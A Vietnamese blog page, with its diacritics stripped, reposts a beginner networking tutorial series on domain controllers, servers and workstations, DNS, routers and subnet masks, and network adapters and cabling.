Domain controller l g v la chn th no cho hp vi c s h tng mng ca bn? Trong nhng bi trc chng ta ni ti vai tr ca cc my tnh khc nhau trn mng. Chc hn cc bn cn nh, ngay trong phn 4 chng ta ni mt cht v domain controller. Cn by gi, trong bi ny bn s c bit su hn domain controller l g v la chn chng ra sao cho hp vi c s h tng mng ca bn. Mt trong nhng khi nim quan trng nht ca mng Windows l domain (tc min hay vng). Mt domain l tp hp cc ti khon ngi dng v ti khon my tnh c nhm li vi nhau qun l mt cch tp trung. V cng vic qun l l dnh cho domain controller (b iu khin min) nhm gip vic khai thc ti nguyn tr nn d dng hn. Vy ti sao domain controller li rt quan trng? Trong mng, bt k my trm no ang chy h iu hnh Windows XP cng c mt nhm ti khon ngi dng to sn no . Windows XP thm ch cn cho php bn to mt s ti khon b sung nu thy cn thit. Nu my trm c chc nng nh mt h thng c lp hoc l mt phn ca mng ngang hng th ti khon ngi dng mc my trm (c gi l ti khon ngi dng cc b) khng th iu khin truy cp ti nguyn mng. Chng ch c dng iu chnh truy cp my cc b v hot ng nh vi chc nng m bo cho qun tr vin c th thc hin cng vic bo dng, duy tr my trm, khng cho php ngi dng cui kh nng can thip vo cc thit lp trn my trm. L do v sao ti khon ngi dng cc b trn mt my trm nht nh khng c php iu khin truy cp ti nguyn nm ngoi my trm l n tng thm gnh nng qun l rt ln. Ti khon ngi dng cc b ch nm trn cc my trm ring r. Nu mt ti khon l c chc nng bo mt chnh trong mng, qun tr vin s phi di chuyn vt l ti my tnh c ti khon bt k khi no phi thc hin thay i quyn hn cho ti khon. Vn ny khng gy ra tc ng g ln trong mng nh, nhng s tr nn cc k nng n vi mng ln hay khi cn p dng thay i rng cho tt c mi ti khon. Mt l do khc na l khng ai mun phi chuyn ti khon ngi dng t
my ny sang my khc. Chng hn, nu my tnh ca mt ngi dng b ph hoi, ngi khng th ng nhp vo my tnh khc lm vic v ti khon h to ch c tc dng trn my c. Nu mun lm c vic anh ta s phi to ti khon mi trn my khc. Ch l mt trong s rt nhiu l do khin vic s dng ti khon ngi dng cc b cho vic truy cp an ton ti nguyn mng l khng thc t. Thm ch nu bn mun trin khai kiu bo mt ny, Windows cng khng cho php. Ti khon ngi dng cc b ch c th dng ti nguyn cc b trn mt my trm nht nh. Domain c nhim v gii quyt cc vn va nu v mt s vn khc na. Chng s tp trung ho ti khon ngi dng (hay cu hnh khc, cc i tng lin quan n bo mt; chng ta s cp n trong bi sau). iu ny gip vic qun tr d dng hn v cho php ngi dng ng nhp t bt k my tnh no c trn mng (tr khi bn gii hn quyn truy cp ngi dng). Vi nhng thng tin c cung cp chc hn bn s ngh, v mt nguyn l, khi mt ngi dng no mun truy cp ti nguyn nm trn mt my ch (server), ti khon ngi dng mc server s c dng iu khin truy cp. Xt trn mt s kha cnh, tng ny l ng, nhng cn c nhiu iu phi lu hn th. Tr li u nhng nm 1990, khi tc gi bi bo ny cn lm vic cho mt cng ty bo him ln, s dng mng vi cc my ch chy h iu hnh Novell NetWare. Windows networking hi vn cha c to ra v Novell NetWare l h iu hnh server duy nht c th la chn. Cng ty ch c mt network server, cha tt c mi ti khon ngi dng v ti nguyn mng cn truy cp. Mt vi thng sau, ai quyt nh rng ngi dng cng ty cn chy mt nhnh ng dng mi. Do kch thc ca ng dng v s lng d liu ln nn ng dng phi c t trn mt server chuyn dng. Phin bn Novell NetWare cng ty ang dng lc chy theo kiu: ti nguyn nm trn mt server c bo v bi ti khon ngi dng cng nm trn server . Nhng ny sinh vn : mi my ch c tp hp ti khon ngi dng c lp, hon chnh v ring r. Khi thm mt my ch khc vo mng, ngi dng vn c th ng nhp theo cch bnh thng nhng phi to username v password mi. Thi gian u, mi th tri chy. Nhng khong mt thng sau, khi ci t thm mt s chng trnh khc ln my ch mi, mi vic tr nn t hi. Cc my ch buc ngi dng phi thay i li mt khu trong khi h khng nhn ra rng phi i hai ch khc nhau. C ngha l mt khu mt i tnh ng b v b phn tr gip qu ti vi cc cuc gi lin quan n lp li mt khu. Khi cng ty ln mnh hn v b sung thm nhiu my ch mi vo
mng, vn ngy cng ti t. Cui cng s vic c gii quyt khi Novell cho ra i phin bn 4.0 ca NetWare. NetWare 4 gii thiu cng ngh gi l Directory Service (dch v th mc). tng ca n l ngi dng s khng phi to cc ti khon ring r trn tng server na. Thay vo mt ti khon n duy nht c dng thm nh t cch ngi dng trn ton b mng m khng cn bit c bao nhiu my ch trn mng . Mt iu th v khi tm hiu v domain l mc d mi domain c mt gi tr duy nht, khng bao gi lp nhau trong mng Microsoft (Novell khng dng domain) nhng chng lm vic theo nguyn tc c bn ging nhau. Khi Windows 2000 c pht hnh, Microsoft tch hp mt thnh phn vn cn c dng ti nay l Active Directory. Active Directory rt ging vi Directory Service c mng Novell s dng trc kia. Ton b cng vic chng ta phi lm vi domain l g? Khi my ch Windows s dng Windows 2000 Server, Windows Server 2003 hay Longhorn Server sp ra mt, cng vic ca domain controller (b iu khin min) l chy dch v Active Directory. Active Directory hot ng nh mt ni lu tr cc i tng th mc, trong c ti khon ngi dng (user account). V mt trong cc cng vic chnh ca b iu khin tn min l cung cp dch v thm nh. Nn ht sc lu l domain controller cung cp dch v thm nh (authentication) ch khng phi l dch v cp php (authorization). Tc l, khi mt ngi dng no ng nhp vo mng, mt b iu khin min s kim tra tnh hp l ca username v password h nhp vo c chnh xc v khp vi d liu lu trong my ch hay khng. Nhng domain controller khng ni vi ngi dng h c quyn truy cp ti nguyn no. Ti nguyn trn mng Windows c bo v bi cc Danh sch iu khin truy cp (ACL). Mt ACL l danh sch ch r ai c quyn lm g. Khi ngi dng c gng truy cp ti nguyn, h a ra nhn dng ca mnh cho my ch cha ti nguyn . My ch s kim tra chc chn rng nhn dng ngi dng ny c thm nh, sau tham chiu cho n ACL xem ngi dng c quyn lm g. Kt lun Nh bn c th thy, domain controller (b iu khin min) ng vai tr rt quan trng trong mng Windows. Trong phn tip theo ca lot bi ny chng ta s tip tc thm mt cht vi domain controller v Active Directory. Theo Networking
http://www.trithuccongdong.com/portal/index.php? option=com_content&task=view&id=375&Itemid=113 c ng bi haodalat ti 6:21 CH 0 nhn xet Nhan: co ban ve Mang may tinh, NETWORK
Kin thc c bn v mng: Phn 4 - Workstation v Server
y l phn tip theo trong lot bi hng dn c bn dnh cho nhng ngi mi bt quen hay tm hiu v mng. Ni dung bi hm nay l v s khc nhau gia Workstation (my trm) v Server (my ch). Trc bi ny, chng ta c dp tho lun v cc thit b phn cng mng v giao thc TCP/IP. Phn cng mng c dng thit lp kt ni vt l gia cc thit b, trong khi giao thc TCP/IP l ngn ng trng yu dng lin lc trong mng. bi ny chng ta cng s ni mt cht v cc my tnh c kt ni trong mt mng. Cho d bn l ngi mi hon ton, nhng chc hn bn tng nghe ni n cc thut ng server v workstation. Cc thut ng ny thng thng c dng ni ti vai tr ca my tnh trong mng hn l phn cng my tnh. Chng hn, mt my tnh ang hot ng nh mt server th n khng cn thit phi chy c phn cng ca server. Bn c th ci t mt h iu hnh server ln my tnh ca mnh. Khi my tnh s hot ng thc s nh mt server mng. Trong thc t, hu ht tt c cc my ch u s dng thit b phn cng c bit, gip chng c th kim sot c khi lng cng vic nng n vn c ca mnh. Khi nim my ch mng (network server) thng hay b nhm v mt k thut theo kiu nh ngha: my ch l bt k my tnh no s hu hay lu tr ti nguyn chia s trn mng. Ni nh th th ngay c mt my tnh ang chy windows XP cng c th xem l my ch nu n c cu hnh chia s mt s ti nguyn nh file v my in. Cc my tnh trc y thng c tm thy trn mng l peer (kiu my ngang hng). My tnh ngang hng hot ng trn c my trm v my ch. Cc my ny thng s dng h iu hnh my trm (nh windows XP), nhng c th truy vp v s hu cc ti nguyn mng. Trc y, mng ngang hng thng c tm thy ch yu trn cc mng rt nh. tng y l nu mt cng ty nh thiu ti nguyn c c cc my ch thc s th cc my trm c th c cu hnh thc hin nhim v "kp". V d, mi ngi dng c th to cho cc file ca mnh kh nng truy cp chung vi nhiu ngi khc trn mng. Nu mt my no c gn my in, h c th chia s n cho cng vic in n ca ton b my trong mng, tit kim c ti nguyn. Cc mng ngang hng thng khng s dng c trong cc cng ty ln v thiu kh nng bo mt cao v khng th qun l trung tm ho. l l do
v sao cc mng ngang hng thng ch c tm thy trong cc cng ty cc k nh hoc ngi dng gia nh s dng nhiu my PC. windows Vista (th h k tip ca windows XP) ang c gng thay i iu ny. windows Vista cho php ngi dng mng client/server to nhm ngang hng. Trong cc thnh vin ca nhm s c chia s ti nguyn vi nhau trong ch bo mt an ton m khng cn ngt kt ni vi server mng. Thnh phn mi ny s c tung ra th trng vi vai tr nh mt cng c hp tc. Cc mng ngang hng khng ph bin bng mng client/server v chng thiu an ton v kh nng qun l tp trung. Tuy nhin, v mng my tnh c hnh thnh t cc my ch v my trm nn bn thn mng khng cn phi m bo bo mt cao v kh nng qun l tp trung. Nn nh rng server ch l mt my chuyn dng lu tr ti nguyn trn mng. Ni nh th tc l c v s kiu my ch khc nhau v mt trong s c thit k chuyn dng cung cp kh nng bo mt v qun l. Chng hn, windows server c hai kiu loi chnh: member server (my ch thnh vin) v domain controller (b iu khin min). Thc s khng c g c bit vi member server. Member server n gin ch l my tnh c kt ni mng v chy h iu hnh windows Server. My ch kiu member server c th c dng nh mt ni lu tr file (cn gi l file server) hoc ni s hu mt hay nhiu my in mng (cn gi l my in server). Cc member server cng thng xuyn c dng lu tr chng trnh ng dng mng. Chng hn, Microsoft cung cp mt sn phm gi l Exchange Server 2003. Khi ci t ln member server, n cho php member server thc hin chc nng nh mt mail server. Domain controller (b iu khin min) th c bit hn nhiu. Cng vic ca mt domain controller l cung cp tnh nng bo mt v kh nng qun l cho mng. Bn quen thuc vi vic ng nhp bng cch nhp username v password? Trn mng windows, chnh l domain controller. N c trch nhim theo di v kim tra username, password. Ngi chu trch nhim qun l mng c gi l qun tr vin (administrator). Khi ngi dng mun truy cp ti nguyn trn mng Windows, qun tr vin s dng mt tin ch do domain controller cung cp to ti khon v mt khu cho ngi dng mi. Khi ngi dng mi (hoc ngi no mun c ti khon th hai) c gng ng nhp vo mng, "giy thng hnh" ca h (username v password) c gi ti domain controller. Domain cotroller s kim tra tnh hp l bng cch so snh thng tin c cung cp vi bn sao chp lu tr trong c s d liu ca n. Nu mt khu ngi dng cung cp v mt khu lu tr trong domain controller khp vi nhau, h s c cp quyn truy cp mng. Qu trnh ny c gi l thm nh (authentication). Trn mt mng Windows, ch c domain controller thc hin cc dch v
thm nh. Tt nhin ngi dng s cn truy cp ti nguyn lu tr trn member server. y khng phi l vn g ln v ti nguyn member server c bo v bi mt tp hp cc c quyn lin quan n thng tin bo mt trn domain controller. d hiu hn chng ta s ly mt v d c th. Gi s username ca ti l QuanTri. Ti nhp username v password vo, chng s c gi ti domain controller thm nh. Khi b iu khin min thm nh thng tin, n khng cung cp cho ti quyn truy cp bt k ti nguyn no. N ch kim tra tnh hp l t thng tin ti cung cp. Khi truy cp ti nguyn ca mt member server, my tnh ca ti a m thng bo truy cp c bit, v c bn c thm nh bi mt domain controller. C th member server khng tin ti, nhng n tin domain controller. Do , nu domain controller xc nhn hp l cho nhn dng ca ti, member server s chp nhn v cung cp kh nng truy cp bt c ti nguyn no m ti c quyn. Kt lun Nh bn c th thy, qu trnh thm nh trn domain controller v cung cp quyn truy cp ti nguyn mng hi phc tp mt cht. Chng ta s tip tc tho lun v thm nh (authentication) v truy cp ti nguyn (resource access) chi tit hn trong lot bi sau. Cn by gi, tt c ch l nhng g n gin nht nhm gip cc bn d hiu. Trong phn tip ca lot bi ny chng ta s tho lun v domain controller chi tit hn vi vai tr ca domain controller trong Active Directory. Theo Networking http://www.trithuccongdong.com/portal/index.php? option=com_content&task=view&id=374&Itemid=113 c ng bi haodalat ti 6:13 CH 0 nhn xet Nhan: co ban ve Mang may tinh, NETWORK
Kin thc c bn v mng: Phn 3 - DNS Server
y l phn tip theo ca lot bi Kin thc c bn dnh cho nhng ngi mi bt u lm quen v tm hiu v mng my tnh. Sau hai bi gii thiu Hub v Switch, Router, ni dung ca bi ny cp n hot ng ca cc server DNS (h thng tn min). y cng l phn cui cng chng ti ni n cch cc my tnh trong mt phn on mng chia s vng a ch IP chung nh th no. Nh chng ta bit, khi mt my tnh cn truy cp thng tin trn mt my nm mng khc hay phn on mng khc, n cn n s tr gip ca router. Router s chuyn cc gi d liu cn thit t mng ny sang mng khc (chng hn nh Internet). Nu bn tng c phn hai, chc hn bn
nh, chng ti c a ra mt v d to mt tham chiu n a ch IP kt hp vi mt website. c th truy cp vo website ny, trnh duyt Web ca bn phi bit a ch IP ca website. Sau trnh duyt cung cp a ch cho router, router s xc nh ng i ti mng khc v yu cu cc gi d liu ti my ch ph hp. Mi website u c mt a ch IP nhng bn c th gh thm cc website ny hng ngy m khng cn quan tm n dy con s ca n. Trong bi ny chng ti s ch cho bn thy l do v sao c th thc hin c. a ch IP cng ging nh a ch nh vy. N gm c v tr mng (l dy s hiu ch phn on mng my tnh ang hot ng trong ), tng t nh tn ph; v v tr thit b (xc nh mt my tnh c th trong mng), tng t nh s nh. Bit v a ch IP l yu cu cn thit cho hot ng truyn thng c s TCP/IP gia hai my tnh. Khi bn m mt trnh duyt Web v nhp tn website (c bit n nh l tn min hay ng dn URL(Universal Resource Locator - b nh v v tr ti nguyn chung), trnh duyt s n thng website m khng cn phi thng qua vic nhp a ch IP. Bn c th hnh dung qu trnh m website cng ging nh qu trnh chuyn th n a ch nhn ghi trn phong b bu in vy. a ch IP trong truyn thng mng ng vai tr nh a ch trn phong b. Th khng th n ng ni nu bn ch ghi tn ngi nhn m "qun mt" a ch ca h. Vic n v m c mt website cng nh vy. My tnh ca bn khng th lin lc c vi website tr khi n bit a ch IP ca website . Nhng bn khng cn g a ch IP m trnh duyt vn m c ng website bn mun khi nhp tn min vo. Vy a ch IP u? Qu trnh "dch" tn min thnh a ch IP l cng vic ca mt server DNS (trnh ch h thng tn min). Trong hai bi trc chng ta tng ni ti mt s khi nim v cu hnh TCP/IP ca my tnh, nh a ch IP, mt n mng con (subnet mask) v cng vo mc nh (default gateway). Nhn hnh A bn di bn s thy c thm mt tu chn cu hnh khc l "Preferred DNS server" (trnh ch h thng tn min tham chiu). Hnh A: Tu chn Preferred DNS Server c nh ngha nh l mt phn ca cu hnh TCP/IP trong my tnh. Nh bn c th thy trong hnh minh ho, tu chn "Preferred DNS server" c nh ngha nh l mt phn ca cu hnh TCP/IP. C ngha l my tnh s lun bit a ch IP ca DNS server. iu ny l ht sc quan trng v my tnh khng th lin lc c vi my tnh khc s dng giao thc TCP/IP nu n khng bit a ch IP ca my kia.
By gi chng ta s xem xt iu g xy ra khi bn c gng ti thm mt website. Qu trnh bt u vi vic bn m trnh duyt Web v nhp ng dn URL. Khi , trnh duyt bit rng n khng th xc nh c v tr ca website nu ch da vo mt mnh a ch URL. Do n truy vn thng tin a ch IP ca DNS sever t cu hnh TCP/IP ca my tnh v a ng dn URL ln trnh ch DNS server. DNS server sau s tra tm ng dn URL trn bng c danh sch a ch IP ca website. Sau n tr ra a ch IP cho trnh duyt Web v trnh duyt c th lin lc vi website c yu cu. Thc s qu trnh gii thch ny c th c m t n gin hn mt cht. Gii php tn min trong DNS ch c th hot ng nu DNS server c cha mt bn ghi tng ng vi website c yu cu. Nu bn vo mt website ngu nhin, DNS sever s khng c bn ghi v website ny. L do l bi Internet qu ln. C hng triu website v website mi c to ra mi ngy. Khng c cch no cho mt server DNS n c th bt kp tt c cc website v p ng c tt c yu cu t bt k ai c kt ni ti Internet. By gi gi s mt trnh ch DNS server n c th lu tr cc bn ghi cho mi website tn ti. Nu dung lng ca trnh ch khng phi l vn th server cng s b trn bi cc yu cu x l tn nhn c t ngi dng Internet khp mi ni. Mt DNS server trung tm ho thng l ch nhm rt ph bin ca cc cuc tn cng. Do , cc trnh ch DNS server thng c phn phi sang nhiu im, trnh cho mt server DNS n phi cung cp x l tn cho ton b Internet. Trn th gii hin nay c mt t chc chuyn ph trch vic cp pht, ng k tn min Internet l Internet Corporation for Assigned Names and Numbers (hay ICANN). Do qun l tn min cho ton b mng l mt cng vic khng l nn ICANN phn b nhiu phn p ng tn min cho cc hng khc nhau. Chng hn, Network Solutions ph trch tn min ".com". Nhng khng c ngha l Network Solutions duy tr danh sch cc a ch IP kt hp vi ton b tn min .com. Trong hu ht mi trng hp, DNS server ca Network Solution u cha bn ghi tr ti DNS server c xem l chnh thc cho tng min. thy c tt c hot ng nh th no, tng tng rng bn mun vo website www.brienposey.com. Khi nhp yu cu vo trnh duyt, trnh duyt gi a ch URL vo trnh ch DNS server c ch nh bi cu hnh TCP/IP ca my tnh bn. Trnh ch DNS server khng bit a ch ca website ny. Do , n gi yu cu ti DNS server ca ICANN. DNS server ca ICANN cng khng bit a ch IP ca website bn ang mun vo m ch bit a ch IP ca DNS server chu trch nhim vi tn min c ui .COM. N s tr li a ch ny cho trnh duyt v trong qu trnh tr v n cng thc hin vic a yu cu ti DNS server c th . Mc DNS server cao nht dnh cho tn min ui .COM s khng bit n a
ch IP no ca website c yu cu, nhng n bit a ch IP ca DNS server chnh thc cho tn min brienposey.com. N s gi a ch ny tr li my a ra yu cu. Sau trnh duyt Web gi truy vn DNS ti DNS server c thm quyn cho min c yu cu. V DNS server ny s tr ra a ch IP ca website, cho php my lin lc vi website n yu cu. Nh bn c th thy, c nhiu bc phi hon thnh mt my tnh tm ra a ch IP ca mt website. Nhm gim bt s truy vn DNS phi thc hin, kt qu ca cc truy vn ny thng c lu tr liu trong vi gi hoc vi ngy, tu thuc vo my c cu hnh nh th no. Vic lu tr cc a ch IP nng cao mt cch tuyt vi kh nng thc thi v ti thiu ho tng lng bng thng tiu th cho cc truy vn DNS. Bn c th hnh dung ra qu trnh duyt Web s t hi n mc no nu my tnh ca bn phi thc hin tp hp y cc truy vn DNS bt k thi gian no bn mun xem trang Web mi. Kt lun Trong bi ny chng ti gii thch cch trnh ch DNS server c dng x l tn min cho a ch IP. Mc d qu trnh c m t c v khc n gin, nhng bn cn nh rng ICANN v cc nh n k DNS mc cao nh Network Solutions s dng cng ngh load balacing (ti cn bng) phn phi yu cu qua nhiu server DNS khc. iu ny gip cc server khi b trn v loi tr kh nng c im li n. Theo Networking http://www.trithuccongdong.com/portal/index.php? option=com_content&task=view&id=373&Itemid=113 c ng bi haodalat ti 6:07 CH 0 nhn xet Nhan: co ban ve Mang may tinh, NETWORK
Kin thc c bn v mng: Phn 2 - Router
y l phn tip theo sau bi m u v cc thit b phn cng mng. Trong phn ny chng ta s tho lun ni dung chi tit ca thit b mng quan trng nht: router. Cho d l ngi mi bt u lm quen vi mng nhng chc hn bn tng nghe ni n router. Cc kt ni Internet bng thng rng, s dng modem cp hay modem DSL lun i hi cn phi c router. Nhng cng vic ca router khng phi l cung cp s ni kt Internet m l chuyn cc gi d liu t mng ny ti mng khc. C nhiu kiu router, t n gin n phc tp. Cc router bnh dn thng c dng cho kt ni Internet gia nh, cn nhiu router c mc gi kinh khng thng c cc i gia l nhng g khng l a chung. Song, cho d t hay r, n gin hay phc tp th mi router u hot ng vi cc nguyn tc c bn nh nhau.
y, chng ta s tp trung vo cc router n gin vi gi thnh thp, ch yu c dng ni kt mt my tnh vo mng Internet bng thng rng. Bi v i tng ca bi ny l nhng ngi mi bt u lm quen mi mng. V tt nhin s d dng hn nhiu khi bt u vi nhng g tng quen thuc cho hu ht mi ngi thay v ng n s phc tp ca router dng trong cc tp on ln. Nu bn c hiu bit c bn v router v mun c kin thc chuyn su hn, bn s tm c ci mnh cn trong mt bi khc m c dp chng ti s gii thiu vi cc bn sau. Nh ni trn, cng vic ca mt router l chuyn cc gi d liu t mng ny ti mng khc. nh ngha ny c v l trong ng cnh cc my tnh c kt ni vi ng truyn Internet bng thng rng. Nhng thc t bn nn bit mng l mt tp hp ln vi cc mng con khc bn trong. Vy, nu cng vic ca mt router l chuyn lu lng gia hai mng, trong mt mng l Internet th mng kia u? Trong trng hp c th ny chnh l my tnh c kt ni ti router. N c cu hnh thc s nh mt mng n gin. hnh dung r hn, bn c th xem nh minh ho trong Hnh A v B. Hnh A l mt trc ca mt router bng thng rng 3COM, cn hnh B l mt sau ca n. Hnh A: Mt trc ca router bng thng rng (broadband) 3COM Hnh B: Router Internet bng thng rng gm mt tp hp cc cng RJ-45 ging nh mt hub hay switch Nh bn c th thy trn hnh, thc s khng c im ni bt c bit no trong mt trc ca router. S d chng ti vn a ra hnh nh c th ca n nhm gip cc bn, nhng ngi cha quen thuc vi thit b ny c th bit c mt router trng nh th no. Hnh B xem chng c v th v hn. Nhn vo hnh B bn s thy c ba tp hp cng mt sau router. Cng bn tri nht l ni in ngun c ni vi router. gia l mt cng RJ-45 dng cho vic kt ni mng t xa. Trong trng hp c th ny, router c dng cung cp kt ni Internet. Cng gia ch yu c dng kt ni router vi mt modem cp hay modem DSL. Cc modem ny s cung cp kt ni thc ti Internet. Cn tp hp bn phi gm bn cng RJ-45. Nu bn xem li phn u ca lot bi ny bn s thy cc hub v switch cng gm s lng ln cc nhm cng RJ-45. Trong trng hp ca hub hay switch, cc cng RJ-45 c dng cung cp kt ni ti cc my tnh trn mng. router, cc cng u hot ng y nh nhau. Router trong v d y c
mt switch bn cng dng sn. Cng vic ca mt router l chuyn cc gi tin t mng ny ti mng khc. trn chng ta gii thch trong trng hp ca router bng thng rng, Internet l mt mng cn my tnh ng vai tr l mt mng th hai. L do v sao mt my tnh n l li c thay th nh mt mng tng th l do router khng coi PC l mt thit b c lp. Router xem PC nh mt nt mng. Nh bn c th thy trn hnh B, router c th ny c th cung cp thc s mt mng bn my tnh. Hu ht ngi dng gia nh u s dng kiu cu hnh ch cn cm mt PC vo router. C th hn, kiu mng ny nh tuyn cc gi d liu gia mt mng nh (ngay c khi mng ch c mt my tnh n) v Internet (c xem nh l mng th hai). Qu trnh nh tuyn hiu hot ng nh tuyn c thc hin nh th no, u tin bn phi bit mt cht v cch thc hot ng ca giao thc TCP/IP. Mi thit b kt ni ti mng TCP/IP u c mt a ch IP duy nht gii hn trong giao din mng ca n. a ch IP l mt dy bn s ring phn tch nhau bi cc du chm. V d mt a ch IP in hnh c dng: 192.168.0.1. V d d hiu nht khi ni v IP l a ch nh. a ch nh thng thng lun c s nh v tn ph. S nh xc nh c th v tr ngi nh trn ph . a ch IP cng hot ng tng t nh vy. N gm m s a ch mng v m s thit b. So snh vi a ch nh bn s thy a ch mng ging nh tn ph cn m s thit b ging nh s nh vy. a ch mng ch mng c th thit b ang tham gia trong n cn m s thit b th cung cp cho thit b mt nhn dng trn mng. Vy kt thc ca a ch mng v khi u ca m s thit b u? y l cng vic ca mt subnet mask. Subnet mask s ni vi my tnh v tr cui cng ca a ch mng v v tr u tin ca s thit b trong a ch IP. Hot ng mng con c khi rt phc tp. Bn c th tham kho chi tit hn trong mt bi khc m c dp chng ti s gii thiu sau. Cn by gi hy quan tm n nhng th n gin nht, xem xt mt subnet mask rt c bn. Subnet mask thot nhn rt ging vi a ch IP v n cng c 4 con s nh dng theo kiu phn tch nhau bi cc du chm. Mt subnet mask in hnh c dng: 255.255.255.0. Trong v d c th ny, ba s du tin (gi l octet) u l 255, con s cui cng l 0. S 255 ch ra rng tt c cc bit trong v tr tng ng ca a ch IP l mt phn ca m s mng. S 0 cui cng m ch khng c bit no trong v tr tng ng ca a ch IP l mt phn ca a ch mng. Do chng thuc v m s thit b.
Nghe c v kh ln xn, bn s hiu hn vi v d sau. Tng tng bn c mt my tnh vi a ch IP l 192.168.1.1 v mt n mng con l: 255.255.255.0. Trong trng hp ny ba octet u tin ca subnet mask u l 255. iu ny c ngha l ba octet u tin ca a ch IP u thuc vo m s mng. Do v tr m s mng ca a ch IP ny l 192.168.1.x. iu ny l rt quan trng v cng vic ca router l chuyn cc gi d liu t mt mng sang mng khc. Tt c cc thit b trong mng (hoc c th l trn phn on mng) u chia s mt m s mng chung. Chng hn, nu 192.168.1.x l s mng gn vi cc my tnh kt ni vi router trong hnh B th a ch IP cho bn my tnh vin c th l: o 192.168.1.1 o 192.168.1.2 o 192.168.1.3 o 192.168.1.4 Nh bn thy, mi my tnh trn mng cc b u chia s cng mt a ch mng, cn m s thit b th khc nhau. Khi mt my tnh cn lin lc vi my tnh khc, n thc hin bng cch tham chiu ti a ch IP ca my tnh . Chng hn, trong trng hp c th ny, my tnh c a ch 192.168.1.1 c th gi d dng cc gi d liu ti my tnh c a ch 192.168.1.3 v c hai my ny u l mt phn trong cng mt mng vt l. Nu mt my cn truy cp vo my nm trn mng khc th mi th s khc hn mt cht. Gi s rng mt trong s ngi dng trn mng cc b mun gh thm website www.brienposey.com, mt website nm trn mt server. Ging nh bt k my tnh no khc, mi Web server c mt a ch IP duy nht. a ch IP cho website ny l 24.235.10.4. Bn c th thy d dng a ch IP ca website khng nm trn mng 192.168.1.x. Trong trng hp ny my tnh ang c gng tip cn vi website khng th gi gi d liu ra ngoi theo mng cc b, v Web server khng phi l mt phn ca mng cc b. Thay vo my tnh cn gi gi d liu s xem xt n a ch cng vo mc nh. Cng vo mc nh (default gateway) l mt phn ca cu hnh TCP/IP trong mt my tnh. l cch c bn ni vi my tnh rng nu khng bit ch gi gi d liu u th hy gi n ti a ch cng vo mc nh c ch nh. a ch ca cng vo mc nh l a ch IP ca mt router. Trong trng hp ny a ch IP ca router c chn l 192.168.1.0
Ch rng a ch IP ca router chia s cng mt a ch mng nh cc my khc trong mng cc b. S d phi nh vy n c th truy cp ti cc my trong cng mng. Mi router c t nht hai a ch IP. Mt dng cng a ch mng ca mng cc b, cn mt do ISP ca bn quy nh. a ch IP ny dng cng mt a ch mng ca mng ISP. Cng vic ca router khi l chuyn cc gi d liu t mng cc b sang mng ISP. ISP ca bn c cc router ring hot ng cng ging nh mi router khc, nhng nh tuyn ng i cho gi d liu ti cc phn khc ca Internet. Kt lun Nh bn c th thy, router l thnh phn mng cc k quan trng. Khng c router, s ni kt gia cc mng (chng hn nh Internet) l khng th. Trong phn ba ca lot bi ny chng ta s tho lun chi tit hn v ni dung ca giao thc TCP/IP. Theo Networking http://www.trithuccongdong.com/portal/index.php? option=com_content&task=view&id=372&Itemid=113 c ng bi haodalat ti 5:49 CH 0 nhn xet Nhan: co ban ve Mang may tinh, NETWORK
Kin thc c bn v mng: Phn 1 - Cc thit b phn cng mng
Trong lot bi ny chng ta s bt u hon ton vi ni dung c bn v mng my tnh v hng ti xy dng mt mng thit thc. M u l mt s tho lun v mt s thnh phn mng khc nhau v chc nng ca chng. Bn tng thy nhiu bi vit hng n mc ch dnh cho cc qun tr vin, nhng ngi t nht c mt s kinh nghim no . Cn y s ch l nhng phn c s nht hng n i tng l nhng ngi mi bt u lm quen vi mng. Trong bi u tin ny chng ta s tho lun mt s thit b mng khc nhau v kh nng lm c nhng g ca chng. Network Adapter (B iu hp mng) Thnh phn u tin nn cp ti trong s cc thit b phn cng mng l b iu hp mng (network adapter). Thit b ny cn c bit n vi nhiu tn khc nhau nh network card (card mng), Network Interface Card (card giao din mng), NIC. Tt c u l thut ng chung ca cng mt thit b phn cng. Cng vic ca card mng l gn mt cch vt l my tnh n c th tham gia hot ng truyn thng trong mng . iu u tin bn cn bit n khi ni v card mng l n phi c ghp ni ph hp vi phng tin truyn t mng (network medium). Network medium chnh l kiu cp dng trn mng. Cc mng khng dy l mt mng khc v s c tho lun chi tit trong mt bi ring sau.
card mng ghp ni ph hp vi phng tin truyn t mng l mt vn thc s v chng i hi phi p ng c lng ln tiu chun cnh tranh bt buc. Chng hn, trc khi xy dng mt mng v bt u mua card mng, dy cp, bn phi quyt nh xem liu nn dng Ethernet, Ethernet ng trc, Token Ring, Arcnet hay mt tiu chun mng no khc. Mi tiu chun mng c di v nhc im ring. Phc ho ra ci no ph hp nht vi t chc mnh l iu ht sc quan trng. Ngy nay, hu ht cng ngh mng c cp n trn u nhanh chng tr nn mai mt. By gi ch c mt kiu mng s dng dy ni cn c dng trong cc doanh nghip va v nh l Ethernet. Bn c th xem phn minh ho card mng Ethernet trong v d hnh A di y. Hnh 1: Card Ethernet Cc mng Ethernet hin i u s dng cp i xon vng 8 dy. Cc dy ny c sp xp theo th t c bit v u ni RJ-45 c gn vo phn cui cp. Cp RJ-45 trng ging nh b kt ni phn cui dy in thoi, nhng ln hn. Cc dy in thoi dng b kt ni RJ-11, tng phn vi b kt ni RJ-45 dng trong cp Ethernet. Bn c th thy v d mt cp Ethernet vi u ni RJ-45 trong hnh B. Hnh 2: Cp Ethernet vi mt u kt ni RJ-45 Hub v Switch Nh bn thy trn, my tnh dng card mng gi v nhn d liu. D liu c truyn qua cp Ethernet. Tuy nhin, thng thng bn khng th ch chy mt cp Ethernet gia hai PC gi l mt mng. Vi thi i ca kh nng truy cp Internet tc cao ngy nay, chc chn bn thng nghe ni n thut ng "broadband" (bng thng rng). Bng thng rng l kiu mng trong d liu c gi v nhn qua cng mt dy, cn Ethernet th dng hnh thc truyn thng Baseband. Baseband s dng cc dy ring trong vic gi v nhn d liu. iu ny c ngha l nu mt my tnh ang gi d liu qua mt dy c th bn trong cp Ethernet th my tnh ang nhn d liu cn mt dy khc c nh hng li ti cng nhn ca n. Bn c th xy dng mng cho hai my tnh theo cch ny m ngi ta thng gi l hnh thc cp cho. Cp cho n gin l mt cp mng c cc dy gi v nhn ngc nhau ti mt im cui cc my tnh c th c lin kt trc tip vi nhau.
